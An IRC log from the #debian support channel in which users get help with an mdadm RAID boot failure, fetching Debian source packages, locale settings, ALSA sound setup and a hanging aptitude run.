| 18:02.23 | *** part/#debian husien (~Gamers@203.82.92.14) |
| 18:02.44 | *** join/#debian Otto__ (~Otto@cpe-24-210-25-11.columbus.res.rr.com) |
| 18:02.52 | *** join/#debian ZykoticK9 (~zykotick9@66.11.174.71) |
| 18:02.57 | crebylon | Qual o serial? |
| 18:03.13 | *** join/#debian Otto__ (~Otto@cpe-24-210-25-11.columbus.res.rr.com) |
| 18:04.39 | flypp | crebylon -> /join #debian-br |
| 18:05.52 | crebylon | J debian-br |
| 18:06.04 | nsadmin | almost. |
| 18:06.09 | nsadmin | you need / and # |
| 18:06.15 | *** join/#debian muenchhausen (~hollunder@eris.mozart.uni-klu.ac.at) |
| 18:06.28 | crebylon | Join debian-br |
| 18:06.41 | nsadmin | <PROTECTED> |
| 18:06.43 | nsadmin | and |
| 18:06.48 | muenchhausen | Hi. Should a system where mdadm can't assemble the raid array be able to boot? root isn't part of the array |
| 18:06.49 | nsadmin | <PROTECTED> |
| 18:07.10 | nsadmin | crebylon, and, enjoy. |
| 18:07.21 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 18:07.27 | crebylon | My mobile app jmirc.jar |
| 18:08.33 | crebylon | Mobile |
| 18:08.39 | *** join/#debian aidaho (~aidaho@91.224.168.10) |
| 18:09.35 | *** join/#debian Lost_Cause (~nick@pool-173-76-8-253.bstnma.fios.verizon.net) |
| 18:10.00 | crebylon | Nsadmin |
| 18:10.34 | *** join/#debian s4a (~deniz@ip69-17-247-9.vif.net) |
| 18:11.01 | *** mode/#debian [+l 1139] by debhelper |
| 18:11.01 | jmarsden | crebylon: Você necessita usar / /join #debian-br |
| 18:11.01 | jelly-home | muenchhausen: if any fs to be mounted via fstab is on that array, the boot process will stop at mounting time |
| 18:11.09 | *** join/#debian bn` (~Patrick@178-26-185-176-dynip.superkabel.de) |
| 18:11.16 | *** join/#debian bn` (~Patrick@unaffiliated/bn/x-6686386) |
| 18:11.40 | *** join/#debian Jef91 (~jeff@c-67-162-50-41.hsd1.il.comcast.net) |
| 18:11.57 | Jef91 | where can I find the debian directories for packages in the repo? |
| 18:12.08 | abrotman | you mean on the mirror? |
| 18:12.11 | *** part/#debian crebylon (~crebylon@186.255.139.90) |
| 18:12.42 | Jef91 | No - the debian directories the packages are built with |
| 18:12.44 | jmarsden | Jef91: apt-get source packagename # then cd into the unpacked source tree, and there will be a debian/ directory in there... is that what you mean? |
| 18:12.51 | muenchhausen | jelly-home: so if I'd remove the raid from fstab it should boot fine (despite missing disks?) |
| 18:13.02 | Jef91 | jmarsden - I want to build a package from a newer debian version |
| 18:13.07 | Jef91 | so I don't want to do it via the package manager |
| 18:13.09 | *** join/#debian Cibort (~Cibort@unaffiliated/cibort) |
| 18:13.10 | Jef91 | just via the browser |
| 18:13.12 | *** join/#debian SushiDude (~SushiDude@unaffiliated/sushidude) |
| 18:13.19 | Jef91 | for instance abiword is here - http://packages.debian.org/sid/abiword |
| 18:13.28 | Jef91 | and the source download is on the right, but no debian dir download |
| 18:13.36 | nsadmin | you want to build abiword? |
| 18:13.37 | jmarsden | Jef91: That page has a link to a .dsc file. Use dget http://path/to/somefile.dsc |
| 18:13.40 | jelly-home | muenchhausen: it also depends whether you told mdadm package it must bring that array up for booting or not |
| 18:13.57 | jelly-home | muenchhausen: but if you used defaults you should be safe |
| 18:14.10 | muenchhausen | it's worth a try, thanks |
| 18:15.55 | *** join/#debian tensorpudding (~tensorpud@99.70.203.86) |
| 18:16.17 | muenchhausen | jelly-home: ok, the raid is not in fstab. Is there a text file that could be modified to tell mdadm not to bring it up? |
| 18:16.29 | muenchhausen | it seems mdadm was available through busybox |
| 18:16.40 | *** join/#debian mirco (~mirco@p5B28587B.dip.t-dialin.net) |
| 18:16.54 | nsadmin | which is how debian implements raid availability |
| 18:16.57 | jelly-home | muenchhausen: dpkg-reconfigure mdadm |
| 18:17.32 | dondelelcaro | [A |
| 18:17.34 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 18:18.18 | *** join/#debian Prolac (~rope@unaffiliated/prolac) |
| 18:18.19 | dondelelcaro | Jef91: apt-get source abiword; or dget http://foo/path/to/abiword.dsc or similar |
| 18:20.46 | *** join/#debian jemark (~mark@unaffiliated/jemark) |
| 18:21.39 | *** join/#debian Wyzard (~mike@pool-173-69-165-188.bltmmd.fios.verizon.net) |
| 18:22.34 | *** join/#debian linuxwizard (~linuxwiza@c-98-213-249-170.hsd1.il.comcast.net) |
| 18:22.39 | *** join/#debian a111 (~a111a111@2.97.85.165) |
| 18:23.21 | muenchhausen | jelly-home: dpkg-reconfigure is available from busybox? Doesn't look like it here |
| 18:24.38 | jelly-home | muenchhausen: it's not. Are you in busybox? |
| 18:25.03 | *** join/#debian Kaede (~Kaede@unaffiliated/kaede) |
| 18:25.03 | jelly-home | try booting properly |
| 18:25.06 | *** part/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 18:25.07 | subimage | can anyone help me with this puzzling issue please? http://pastie.org/2121565 |
| 18:25.26 | muenchhausen | yes |
| 18:25.53 | subimage | wols_: i've been running memtest overnight and still no luck |
| 18:26.20 | muenchhausen | jelly-home: boot just failed.. how would I boot properly? |
| 18:26.35 | jelly-home | muenchhausen: how did it fail? |
| 18:27.27 | *** join/#debian Fyrespray (~Mark@78.32.255.161) |
| 18:27.46 | muenchhausen | jelly-home: it failed because the drives aren't present, which leads to an mdadm error which in turn apparently leads to the root file system not being found |
| 18:27.57 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 18:28.12 | *** join/#debian MUILTFN (~MLINTH@adsl-98-80-241-180.mcn.bellsouth.net) |
| 18:28.12 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 18:28.17 | jelly-home | muenchhausen: but you said root isn't on that mdadm array |
| 18:28.38 | mark76 | I just took a trip back in time with TWM |
| 18:28.40 | muenchhausen | correct, root isn't part of the array, it doesn't boot anyway |
| 18:28.49 | jelly-home | muenchhausen: where _is_ your root filesystem? Is the root= parameter correct? |
| 18:28.53 | drwrr | subimage, leaves just the two most unlikely culprits in hardware then no? cpu/psu |
| 18:29.05 | *** join/#debian jareth_ (~X@095-097-053-067.static.chello.nl) |
| 18:29.13 | *** join/#debian nnull (~toor@unaffiliated/nnull) |
| 18:29.40 | subimage | drwrr: wouldn't those have crashed the system as i've been taxing it with bitcoin mining for the past week though? |
| 18:29.51 | subimage | it's got a beefy antec 850watt psu |
| 18:30.00 | muenchhausen | jelly-home: root= is correct, but that doesn't help since udev apparently never creates /dev/sdXY or /dev/disk/* |
| 18:30.26 | *** join/#debian syn4pse (~syn@rs17058.rapidspeeds.com) |
| 18:30.29 | subimage | drwrr: also, thanks for reading that lengthy problem explanation |
| 18:30.39 | *** join/#debian german__ (~german@r186-48-38-111.dialup.adsl.anteldata.net.uy) |
| 18:30.40 | jelly-home | muenchhausen: is the diusk with your root fs connected in the same place as before? |
| 18:31.01 | *** mode/#debian [+l 1133] by debhelper |
| 18:31.06 | SushiDude | dh |
| 18:31.20 | drwrr | subimage, if you can try swapping those, i'd give it a try. should be the quickest test you can run |
| 18:32.02 | *** join/#debian movl (~movl@89.47.83.116) |
| 18:32.03 | muenchhausen | jelly-home: not sure what you mean. I'm trying to boot in qemu. There's one disk which contains the jfs root and a swap partition. kernel and everything is on the jfs partition, UUIDs are correct |
| 18:32.12 | ajikeshi | short question: i cant remember or find the package that provides me with a tool that "emulates" a /dev/dsp |
| 18:32.34 | *** join/#debian Tigger__ (Tigger@cpc4-fare6-2-0-cust436.6-1.cable.virginmedia.com) |
| 18:32.39 | *** join/#debian Kaede_ (~Kaede@unaffiliated/kaede) |
| 18:32.42 | ajikeshi | basically.. i want to run gtkguittune (guitar tuner) and it keeps dying because theres no /dev/dsp |
| 18:32.53 | *** join/#debian noahfx_ (~josue@190.56.118.78) |
| 18:32.56 | ajikeshi | and i remember that there was a program like alsadsp |
| 18:32.57 | jelly-home | muenchhausen: I have no experience with qemu |
| 18:33.03 | muenchhausen | ajikeshi: can't you tell it to use alsa? |
| 18:33.29 | *** join/#debian Scott0 (~scott@57-88.202-68.tampabay.res.rr.com) |
| 18:33.34 | *** join/#debian apwxxsdf (~era1@82.131.67.152.cable.starman.ee) |
| 18:33.37 | ajikeshi | muenchhausen, nope... needs a device afaik |
| 18:34.08 | Scott0 | waa, why are there no good document manager/filing cabinet apps for linux? :P |
| 18:34.13 | *** join/#debian noahfx_ (~josue@190.56.118.78) |
| 18:34.23 | muenchhausen | jelly-home: I doubt qemu is at fault, mdadm might not be at fault either, could it be that udev is where it fails? |
| 18:34.29 | jelly-home | muenchhausen: was this always a qemu system or are you just using qemu to recover? |
| 18:34.40 | movl | ajikeshi: do you have alsa-oss installed? |
| 18:34.52 | *** part/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 18:35.00 | muenchhausen | jelly-home: qemu to recover. The servers vga out seems to be broken |
| 18:35.25 | *** join/#debian zapadlo (~zapadlo@host-84-13-48-141.opaltelecom.net) |
| 18:35.26 | muenchhausen | ajikeshi: I know there are guitar tuners for jack, not sure about alsa |
| 18:35.32 | jelly-home | muenchhausen: why don't you try to boot from that disk on a real machine |
| 18:35.41 | *** join/#debian noahfx (~josue@190.56.118.78) |
| 18:35.45 | zapadlo | Hey guys, whats the server/channel for wheezy support? |
| 18:35.54 | ajikeshi | muenchhausen, ya... jus tried another tuner... that seems to work |
| 18:35.56 | subimage | drwrr: hrm...i do have an i3 in the machine right next to it |
| 18:35.58 | ajikeshi | thx :) |
| 18:36.02 | Black_Prince | zapadlo, irc.oftc.net #debian-next |
| 18:36.04 | *** join/#debian DammitJim (~me@99-75-56-77.lightspeed.dybhfl.sbcglobal.net) |
| 18:36.08 | subimage | drwrr: i guess i could swap those out or something |
| 18:36.16 | muenchhausen | jelly-home: I only have a laptop and the disk is connected using a sata to usb connector. I doubt I can boot off that |
| 18:36.19 | zapadlo | Black_Prince Thank you |
| 18:36.35 | jelly-home | muenchhausen: a recent laptop should be able to boot from usb |
| 18:37.13 | jelly-home | IMHO that's a saner approach than trying qemu |
| 18:37.28 | trebor_home | what is linux.debian.user? is it a mailing list and/or a newsgroup? i could not find a FAQ for it. |
| 18:37.30 | *** join/#debian Kaede_ (~Kaede@unaffiliated/kaede) |
| 18:37.32 | muenchhausen | It would really help if I knew that a system is supposed to be able to boot when the root fs is not part of the raid and the raid isn't present |
| 18:37.49 | drwrr | subimage, good luck. this approach has saved me some time in the past :) |
| 18:38.03 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 18:38.14 | subimage | drwrr: i just hate taking off the stupid cpu cooler / reapplying heat paste :( |
| 18:39.06 | *** join/#debian jodeba (~debel@ip3.c198.obr248.cust.comxnet.dk) |
| 18:39.17 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 18:39.40 | *** join/#debian dr770 (~doron@bzq-218-171-107.red.bezeqint.net) |
| 18:39.53 | *** join/#debian galba (~ldm@90.84.144.182) |
| 18:40.11 | *** join/#debian Brigo (~Brigo@139.182.60.213.dynamic.mundo-r.com) |
| 18:40.25 | subimage | drwrr: i posted to alt.os.linux.debian too...maybe someone there has an idea |
| 18:41.33 | drwrr | subimage, btw did you remove the binary driver? |
| 18:42.00 | subimage | drwrr: binary driver? |
| 18:42.10 | drwrr | fglrx |
| 18:42.15 | *** join/#debian edog (~edog@176.60.173.36) |
| 18:42.15 | subimage | ah no i have not done that |
| 18:42.29 | hochron | how do you look at faillog? |
| 18:42.31 | subimage | drwrr: but i mean this same problem happened on a new install without fglrx |
| 18:42.45 | *** join/#debian Tuxi (~quassel@dyndsl-085-016-197-175.ewe-ip-backbone.de) |
| 18:42.51 | drwrr | subimage, just came to mind from the discussion yesterday |
| 18:42.55 | muenchhausen | jelly-home: I'd rather like to find the actual problem |
| 18:42.57 | subimage | yeah |
| 18:43.50 | jelly-home | muenchhausen: I'd rather exclude qemu problems from the picture |
| 18:45.13 | Zopieux | how do I retrieve the list of installed fonts? |
| 18:46.07 | muenchhausen | jelly-home: I put the disk back in the server just now. Still can't ssh or ping it, so it didn't come up properly. |
| 18:46.38 | muenchhausen | doesn't mean that there's no qemu problem as well, but it also means that there's still another problem |
| 18:47.00 | jelly-home | muenchhausen: did you try to boot the laptop from it? |
| 18:47.49 | muenchhausen | not yet |
| 18:49.05 | jelly-home | muenchhausen: if you can mount and chroot to the root fs with the laptop, you can do the dpkg-reconfigure mdadm thing and try taking mdadm out of the picture. Furthermore you can rebuild the initramfs in that chroot |
| 18:49.44 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 18:50.10 | *** join/#debian asarch (~asarch@187.132.136.142) |
| 18:50.55 | *** join/#debian scampbell (~scampbell@mail.scampbell.net) |
| 18:51.27 | *** join/#debian fuchur (~fuchur@p508AD53E.dip.t-dialin.net) |
| 18:52.18 | *** join/#debian liquid-silence (~liquid-si@about/csharp/regular/liquid-silence) |
| 18:52.32 | muenchhausen | jelly-home: Can I do that from my regular system without messing it up? Both are x86_64 but the distro is different |
| 18:55.31 | *** join/#debian savid (~savid@cpe-76-186-139-183.tx.res.rr.com) |
| 18:55.44 | savid | How do I show what files will be installed by a package? |
| 18:55.45 | *** join/#debian Kaede (~Kaede@unaffiliated/kaede) |
| 18:55.55 | *** join/#debian gnugr (~gnugr@athedsl-216761.home.otenet.gr) |
| 18:55.58 | dondelelcaro | savid: apt-file list foopkg; or similar |
| 18:56.11 | dondelelcaro | savid: or dpkg-deb -c foo.deb; |
| 19:00.21 | *** join/#debian Tuxist (~quassel@dyndsl-085-016-171-079.ewe-ip-backbone.de) |
| 19:00.23 | *** join/#debian bzrk (~bzrk@baal.lab6.org) |
| 19:00.25 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 19:00.35 | *** join/#debian smaug9 (~smaug9@cpe-67-249-206-127.twcny.res.rr.com) |
| 19:01.12 | Jef91 | how can I change debian langauge setting via command line? |
| 19:01.23 | Jef91 | on a system that is in french and need to set it to US english |
| 19:01.24 | *** join/#debian Black_Prince (~Prince@unaffiliated/black-prince/x-4865215) |
| 19:01.34 | jelly-home | muenchhausen: yes |
| 19:01.35 | valdyn_ | !locale |
| 19:01.35 | dpkg | A locale is a set of rules for presenting information to humans according to local conventions (date format, thousands separators, language, etc.). Ask me about <locales> to establish on a Debian system. http://wiki.debian.org/Locale http://mywiki.wooledge.org/locale |
| 19:01.44 | valdyn_ | !locales |
| 19:01.45 | dpkg | Use 'dpkg-reconfigure locales' to get it up and running. This generates <locale> definitions and also edits /etc/default/locale which sets the $LANG environment variable at login time. Use "LANG=C command" to change the output language for a one off command, ask me about <localised errors>. http://wiki.debian.org/Locale |
| 19:01.52 | valdyn_ | Jef91: ^^ |
| 19:02.43 | Jef91 | thanks |
| 19:04.19 | *** join/#debian syn4pse (~syn@p5DDC0146.dip0.t-ipconnect.de) |
| 19:04.27 | *** join/#debian zapadlo (~zapadlo@host-84-13-48-141.opaltelecom.net) |
| 19:05.17 | *** join/#debian eledesmar (~eledesmar@186.120.226.6) |
| 19:06.32 | *** join/#debian _Maru_ (~Charles@96.8.6.22) |
| 19:07.12 | *** join/#debian ia (~ia@89.169.161.244) |
| 19:07.46 | *** join/#debian nviror (~navi@182.64.209.207) |
| 19:07.53 | *** join/#debian DanDare (DanDare@186.213.126.182) |
| 19:08.11 | *** join/#debian Legion (~Legion@unaffiliated/leg1on) |
| 19:09.40 | *** join/#debian salvin (~salvin@unaffiliated/salvin) |
| 19:10.00 | *** join/#debian m4ggus (~marcus@unaffiliated/m4ggus) |
| 19:10.48 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 19:11.00 | *** mode/#debian [+l 1141] by debhelper |
| 19:17.20 | *** join/#debian Paul_E (~paul@67-200-235-82.static.logixcom.net) |
| 19:18.32 | *** join/#debian shingouz (shingouz@85-156-176-138.elisa-mobile.fi) |
| 19:18.39 | *** join/#debian lynks (~lynks@unaffiliated/lynks) |
| 19:19.04 | *** join/#debian thiagoss (~thiagoss@189.71.100.100) |
| 19:19.29 | lynks | can someone give me some basic info on getting sound working in debian? what packages i need, what config commands to run etc, and am i likely to need 3rd party drivers for a usb headset? |
| 19:19.58 | valdyn_ | lynks: no you dont, usb headsets usually follow the same standard |
| 19:20.06 | valdyn_ | !alsa |
| 19:20.07 | dpkg | The Advanced Linux Sound Architecture (ALSA) is a Linux kernel component providing device drivers for sound cards. Ask me about <install alsa>. See also <alsa-checklist>, <alsa firmware>, <default alsa>, <alsa versions>, <alsaconf>. http://wiki.debian.org/ALSA http://www.alsa-project.org/ #alsa on irc.freenode.net. |
| 19:20.17 | abrotman | !alsa checklist |
| 19:20.18 | dpkg | 1) add yourself to the 'audio' group (log out and log in again) 2) use alsamixer to unmute channels and raise levels (also try muting some channels & toggle jack sense if available) 3) arts or esound stopped? 4) speakers on? 5) does "aplay /usr/share/sounds/alsa/Noise.wav" work for root? 6) modprobe snd-pcm-oss 7) squeeze: purge any installed <oss4> packages to remove ALSA blacklist. See also <list alsa users>, <alsa firmware>. |
| 19:20.18 | *** join/#debian p3rror (~mezgani@2001:470:1f0b:c66:1::2) |
| 19:20.30 | valdyn_ | lynks: aptitude install linux-sound-base |
| 19:20.45 | *** join/#debian zenlunatic (~justin@c-68-48-40-231.hsd1.md.comcast.net) |
| 19:21.00 | *** mode/#debian [+l 1135] by debhelper |
| 19:21.03 | valdyn_ | hmm, that only seems to suggest alsa-base now.. |
| 19:21.03 | lynks | thanks a lot, that should keep me busy for a while :P |
| 19:21.11 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 19:21.14 | valdyn_ | lynks: no it should not |
| 19:21.30 | valdyn_ | lynks: just install "alsa-base" |
| 19:21.40 | wols_ | valdyn_: maybe busy listening to some audio? :) |
| 19:21.56 | valdyn_ | heha |
| 19:22.42 | tharkun | Gentlemen setting up bdo and installing a package from there does it automagically get security updates? (/me wonders about libreoffice) |
| 19:23.39 | lynks | hmm no usb option in alsa 'select sound card', both entries are mobo devices |
| 19:24.11 | *** join/#debian chrisjw (~special@5e0bcc55.bb.sky.com) |
| 19:24.11 | *** join/#debian chrisjw (~special@unaffiliated/chrisjw) |
| 19:25.36 | *** join/#debian dvs (~me@cwv.teksavvy.com) |
| 19:27.55 | *** join/#debian wertik_any (~idkf@unaffiliated/wertik-any/x-4132569) |
| 19:30.56 | *** join/#debian a111 (~a111a111@2.97.85.165) |
| 19:31.26 | *** join/#debian lotus-blade (~kc2zht@ool-45757679.dyn.optonline.net) |
| 19:31.27 | *** join/#debian Nikyo (~Nikyo@cpe-066-057-164-187.sc.res.rr.com) |
| 19:31.33 | lotus-blade | is there any easy way to get X to use both of my monitors on 2 different cards? It is only working right now with 1 monitor, and the other is only capable of doing terminal right now |
| 19:31.44 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 19:32.04 | *** join/#debian s1m (~sa@gateway/tor-sasl/sary) |
| 19:34.12 | *** join/#debian mvooght (~mvooght@108-60-163-138.sktn.hsdb.sasknet.sk.ca) |
| 19:34.18 | Nikyo | The channel is quiet,, |
| 19:35.05 | epsilon | psst |
| 19:35.18 | Nikyo | yeah... |
| 19:35.26 | movl | lotus-blade: might wanna hang out in OFTC's debian channel some more :) |
| 19:35.56 | *** join/#debian xakz (~XaMaD@ARennes-554-1-120-180.w92-158.abo.wanadoo.fr) |
| 19:35.58 | *** join/#debian debsan (~debsan@190.245.74.16) |
| 19:36.07 | stew | lotus-blade: when in X, does "xrandr" list both cards? |
| 19:36.35 | *** join/#debian sacredchao (~hagbard@gateway/tor-sasl/nike) |
| 19:37.05 | *** join/#debian bkashaf (~db@unaffiliated/bkashaf) |
| 19:37.41 | *** join/#debian Tectu (~quassel@221-112.195-178.cust.bluewin.ch) |
| 19:37.53 | lotus-blade | @Workhorse:/home/kc2zht# xrandr |
| 19:37.54 | lotus-blade | Screen 0: minimum 320 x 200, current 1024 x 768, maximum 4096 x 4096 |
| 19:37.54 | lotus-blade | VGA-2 connected 1024x768+0+0 (normal left inverted right x axis y axis) 0mm x 0mm |
| 19:38.53 | *** join/#debian amphi (~amphi@unaffiliated/amphi) |
| 19:39.16 | *** join/#debian aguitel (~aguitel@190.244.14.206) |
| 19:40.55 | *** join/#debian Ryushin (proxy@cl-412.phx-01.us.sixxs.net) |
| 19:41.00 | *** join/#debian m3asmi (~rachid@41.214.239.0) |
| 19:41.00 | *** mode/#debian [+l 1141] by debhelper |
| 19:41.36 | zinx | anyone got a url to info on aptitude hanging at "Initializing package states"? |
| 19:41.41 | zinx | in sid |
| 19:42.24 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 19:43.07 | *** join/#debian caveat- (~false@newshell1.bshellz.net) |
| 19:43.26 | nyov | lotus-blade: you left #debian on oftc quite suddenly, someone willing to answer you was dissappointed ;) |
| 19:44.37 | movl | zinx: maybe 'apt-get clean' will help you |
| 19:45.10 | nyov | zinx: that also might just take some time, depending on your machine and number of sources |
| 19:45.22 | zinx | nyov: nah, it's hanging |
| 19:45.39 | nyov | every time? |
| 19:45.42 | *** join/#debian themill (~stuart@unaffiliated/themill) |
| 19:45.45 | zinx | every time, at 0% |
| 19:45.56 | zinx | i'm updating with apt-get at the moment |
| 19:46.20 | m3asmi | keybord does'nt work in graphic mod |
| 19:46.32 | nyov | zinx: huh, that was a problem here back some weeks. I can't remember what caused it exactly |
| 19:46.33 | movl | zinx: does 'aptitude clean' work ? |
| 19:46.39 | zinx | only tried autoclean |
| 19:46.54 | zinx | but i'll do clean, my last update may have been a week or two ago :P |
| 19:47.03 | nyov | zinx: you might also want to try a different mirror for testing |
| 19:47.10 | zinx | i run sid, not testing |
| 19:47.16 | *** join/#debian boston617 (~boston617@strong.century21apartments.com) |
| 19:47.20 | zinx | or do you mean to test with? |
| 19:47.25 | nyov | for "testing that i'ts not the mirror" |
| 19:47.27 | movl | testing as in .. yeah :) |
| 19:47.29 | zinx | ah, ok :P |
| 19:47.35 | *** join/#debian p3rror (~mezgani@2001:470:1f0b:c66:1::2) |
| 19:48.19 | movl | zinx: how much time did you leave aptitude before concluding it hangs? |
| 19:48.44 | zinx | movl: about 10 minutes on my i7-870, while it chewed 100% cpu |
| 19:48.55 | zinx | (well, 100% of one core i think) |
| 19:49.09 | movl | even though you have powerful hardware, leave it more |
| 19:49.14 | nyov | nah |
| 19:49.19 | zinx | yeah no ;P |
| 19:49.22 | movl | since you haven't been updating for a while... |
| 19:49.38 | zinx | it's never even taken 1/100th that time before :P |
| 19:49.52 | nyov | I remember this from some weeks back, apt-get worked whil aptitude didn't |
| 19:49.55 | *** join/#debian Deadguy (~Deadguy@pdpc/supporter/active/deadguy) |
| 19:49.59 | *** join/#debian jelly-home (~jelly@homestuck.iskon.hr) |
| 19:50.05 | *** part/#debian Nikyo (~Nikyo@cpe-066-057-164-187.sc.res.rr.com) |
| 19:50.28 | zinx | nyov: yeah, sounds like what i hit |
| 19:50.51 | zinx | but hey, that's what i get for running sid.. i do expect things to break from time to time :) |
| 19:51.00 | *** mode/#debian [+l 1131] by debhelper |
| 19:51.31 | *** part/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 19:52.35 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 19:52.40 | nyov | zinx: maybe (re)move that package cache completely and try again |
| 19:52.47 | *** join/#debian rynx (~rynx@142.167.207.2) |
| 19:53.09 | zinx | i'll start poking it when apt-get is done updating |
| 19:53.37 | *** join/#debian babilen (~babilen@unaffiliated/babilen) |
| 19:54.57 | *** join/#debian jodeba (~debel@ip3.c198.obr248.cust.comxnet.dk) |
| 19:55.23 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 19:56.59 | *** join/#debian andatche (~herb@mule.andatche.com) |
| 19:57.51 | *** join/#debian Miesco (~mugsy@d67-193-200-146.home3.cgocable.net) |
| 19:57.55 | *** join/#debian MrGeneral (~MrGeneral@ipv6.miguelsp.net) |
| 19:58.22 | *** join/#debian rizzeh (~riz@78-105-40-243.zone3.bethere.co.uk) |
| 19:58.23 | *** join/#debian smaug9 (~smaug9@cpe-67-249-206-127.twcny.res.rr.com) |
| 19:59.12 | *** join/#debian frank_usrs (~frank@230.9.34.95.customer.cdi.no) |
| 20:01.31 | *** join/#debian stumpyb (~stumpyb@178.73.218.67) |
| 20:02.17 | *** join/#debian jrib (~jrib@upstream/dev/jrib) |
| 20:02.34 | *** join/#debian sylar_ (~sylarrrr@bzq-218-182-227.red.bezeqint.net) |
| 20:02.35 | *** join/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 20:02.41 | *** join/#debian sylarr (~sylarrrr@bzq-218-182-227.red.bezeqint.net) |
| 20:02.55 | *** join/#debian ajikeshi_ (~ajikeshi@unaffiliated/ajikeshi) |
| 20:02.59 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 20:05.06 | *** join/#debian drake01 (~drake01@59.178.39.35) |
| 20:05.51 | *** part/#debian m3asmi (~rachid@41.214.239.0) |
| 20:05.52 | *** part/#debian SushiDude (~SushiDude@unaffiliated/sushidude) |
| 20:06.20 | *** join/#debian SushiDude (~SushiDude@unaffiliated/sushidude) |
| 20:07.10 | *** join/#debian wooden (~anon@pdpc/supporter/active/wooden) |
| 20:11.39 | *** join/#debian edog (~edog@176.60.131.174) |
| 20:12.43 | *** join/#debian Tectu (~quassel@221-112.195-178.cust.bluewin.ch) |
| 20:13.21 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 20:13.35 | *** join/#debian ICEBreakPoint (~d3mux32@89.181.155.73) |
| 20:14.06 | *** join/#debian tomatto_ (~tomatto@78-80-178-145.tmcz.cz) |
| 20:14.29 | tomatto_ | hi, please how can i get debian netinst livecd to usb flash using grub? |
| 20:15.37 | *** join/#debian cfx-303 (~catfishfn@78.47.168.202) |
| 20:17.14 | *** join/#debian dekar (~dekar@drms-590ed046.pool.mediaWays.net) |
| 20:21.28 | wols_ | tomatto_: why grub? |
| 20:22.20 | tomatto_ | wols_: because i have it on usb stick now and its the best |
| 20:22.41 | *** join/#debian dawud (~dawud@55.145.217.87.dynamic.jazztel.es) |
| 20:22.49 | *** join/#debian starenka (~starenka@ip-62-245-81-157.net.upcbroadband.cz) |
| 20:22.54 | *** join/#debian larsivi (~quassel@188.113.74.106) |
| 20:23.26 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 20:23.51 | *** join/#debian Nikyo (~Nikyo@cpe-066-057-164-187.sc.res.rr.com) |
| 20:25.20 | Nikyo | I just installed debian 6 on my old happy Pentium 3. :-) |
| 20:26.51 | *** join/#debian Anubisss (~anubisss@77.111.167.71) |
| 20:26.53 | *** join/#debian ompaul (~ompaul@unaffiliated/ompaul) |
| 20:27.45 | *** join/#debian edog (~edog@176.60.235.234) |
| 20:28.23 | *** part/#debian Nikyo (~Nikyo@cpe-066-057-164-187.sc.res.rr.com) |
| 20:29.00 | *** join/#debian Tramp (~mt@46-127-15-123.dynamic.hispeed.ch) |
| 20:29.53 | *** join/#debian jareth_ (~X@095-097-053-067.static.chello.nl) |
| 20:30.01 | *** join/#debian hedgehoginfog (~alex@c-68-82-180-17.hsd1.de.comcast.net) |
| 20:30.14 | *** join/#debian zub (U2FsdGVkX1@linux.fjfi.cvut.cz) |
| 20:30.26 | *** part/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 20:30.43 | *** join/#debian NightMiles (~nights@procyon.nightmiles.org) |
| 20:31.00 | *** mode/#debian [+l 1125] by debhelper |
| 20:31.43 | *** join/#debian ompaul (~ompaul@unaffiliated/ompaul) |
| 20:31.45 | *** join/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 20:33.10 | *** join/#debian Skaperen (~phil@c-76-120-129-149.hsd1.wv.comcast.net) |
| 20:33.25 | tomatto_ | what must i to install when -lcrypt is missing? |
| 20:33.33 | tomatto_ | on debian 5 lenny |
| 20:33.51 | abrotman | probably libcrypt-dev |
| 20:33.58 | zub | Hi. I'd like to replace a package with my own build vanilla version. But it's something that many things depend on and I don't want to create a replacement pkg... I know I can remove the current package with --force-depends, but... is it possible to tell dpkg/apt that the package is present? |
| 20:34.01 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 20:34.06 | tomatto_ | thx |
| 20:34.44 | zub | I mean: to make apt/dpkg know that I'd like to manage that myself and make it assume I have it |
| 20:34.49 | tomatto_ | abrotman: libcrypto++7 is for what? i install it and it going to seg fault... :( |
| 20:34.56 | *** join/#debian davidisko (~davidisko@nat-88-212-37-51.antik.sk) |
| 20:34.59 | abrotman | huh? |
| 20:34.59 | *** part/#debian aguitel (~aguitel@190.244.14.206) |
| 20:35.08 | abrotman | !tell zub about equivs |
| 20:35.10 | *** join/#debian Miesco (~mugsy@d67-193-200-146.home3.cgocable.net) |
| 20:35.29 | *** join/#debian phik (~phik@cpc6-lewi16-2-0-cust386.2-4.cable.virginmedia.com) |
| 20:35.39 | zub | abrotman: thanks |
| 20:36.34 | *** join/#debian Theoden (~quassel@c-98-234-161-226.hsd1.ca.comcast.net) |
| 20:38.28 | *** join/#debian shylent (~maniac@unaffiliated/ossory) |
| 20:39.30 | *** join/#debian ailo (~ailo.at@90-230-166-102-no35.tbcn.telia.com) |
